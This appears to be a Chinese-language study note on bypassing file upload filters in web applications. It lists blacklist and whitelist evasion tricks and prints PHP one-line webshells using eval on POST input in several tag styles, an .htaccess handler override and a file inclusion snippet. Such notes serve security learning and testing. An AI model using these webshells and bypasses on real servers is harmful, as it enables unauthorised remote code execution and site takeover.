一、原理
通过界面上的上传功能上传了一个可执行的脚本文件,而WEB端的系统并未对其进行检测或者检测的逻辑做的不够好,使得恶意用户可以通过文件中上传的一句话木马获得操控权
二、绕过方法
1>前端绕过
1.删除前端校验函数
checkFile()
2.禁用js代码
3.bp修改数据包
上传符合要求的后缀名,用bp抓包,修改为木马后缀名即可
2>黑名单绕过
1.等价扩展名绕过
等价扩展名 | |
asp | asa,cer,cdx |
aspx | ashx,asmx,ascx |
php | php2,php5,phtml,phps |
jsp | jspx,jspf |
2.上传.htaccess文件
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
大概意思为,.htaccess文件可以将1.jpg文件当作php文件解析执行。
3.大写绕过(仅Windows)
修改php文件的后缀为1.PHp,然后上传此文件即可
4.空格绕过(仅Windows)
利用bp抓包,在文件扩展名后加空格即可(没有trim函数)
5.点号绕过(仅Windows)
扩展名后加点即可
6.::$DATA绕过限制(仅Windows)
Windows系统在保存1.php::$DATA一类的文件时会自动去除文件后的::$DATA字符串,保存的文件名为1.php。
7.空格+点号绕过
例如1.php . .
8.双写绕过(str_ireplace函数)
程序中的str_ireplace函数会将黑名单中的后缀替换为空,但是只替换了一次,因此我们可以使用双写绕过此函数
9.00截断(move_uploaded_file函数)
move_uploaded_file()函数本身存在逻辑漏洞缺陷,可以实现00截断绕过。也可以在php文件名后添加任意字符,只要不在黑名单限制内都可成功上传文件
10.php其他标签绕过
<?php @eval($_POST['cmd']); ?> //正常写法
<? @eval($_POST['cmd']); ?> //短标签,适合过滤php
<% @eval($_POST['cmd']); %> //asp风格
<script language='php'>@eval($_POST['cmd']);</script> //<script>风格,适合过滤<?
11.文件头检测绕过
可以通过php截断后,添加GIF89a进行绕过
12..user.ini
数据包修改为名为.user.ini
类型为image/png
内容为“GIF89a auto_prepend_file=1.png”
三.白名单绕过
1.MIME绕过
抓包将content-type字段的类型修改为image/jpeg,即可绕过检测
2.GET型00截断(仅Windows)
windows系统识别到文件名中00的时候将不再向后识别
仅适用于
php版本小于5.3.4
php的配置文件php.ini中的magic_quotes_gpc 的值需要修改为Off
3.POST型00截断
在1.php文件后添加00
4.二次渲染
在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),生成一个新的图片保存至服务器中。我们可以将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。
图片马上传后,重新下载,将图片马与下载后的图片在010中进行十六进制比较。找到两个文件数据相同块,在下载后的图片数据相同处插入php恶意语句保存即可。
也可以通过 imagecreatefromgif函数直接转换与原图片进行对比
<?php
$demo = imagecreatefromgif('file');
imagegif($demo,"outfile");
?>
5.条件竞争时间差
当文件上传后,服务器会首先保存然后重命名,最后再把源文件删除。在文件删除之前,如果线程过大可能导致服务器处理数据变慢,从而使黑客有时间对上传的webshell进行访问。此过程只会删除上传的文件,但是不会删除生成的文件,因此可以使用如下的php代码获取shell。
6.apache的addhandler配置解析漏洞
阿帕奇对于解析的文件扩展名会从右往左开始解析,当最右边后缀无法解析时,会往左识别,直到识别合法才进行解析
7.白名单配合文件包含漏洞
文件包含漏洞会将任意类型的文件当作php文件进行解析,如果文件中包含了php代码,则其中的php代码将会执行。
<?php
$a=$_GET['inc'];
include($a);
?>
上传一个图片马,通过文件包含包含此文件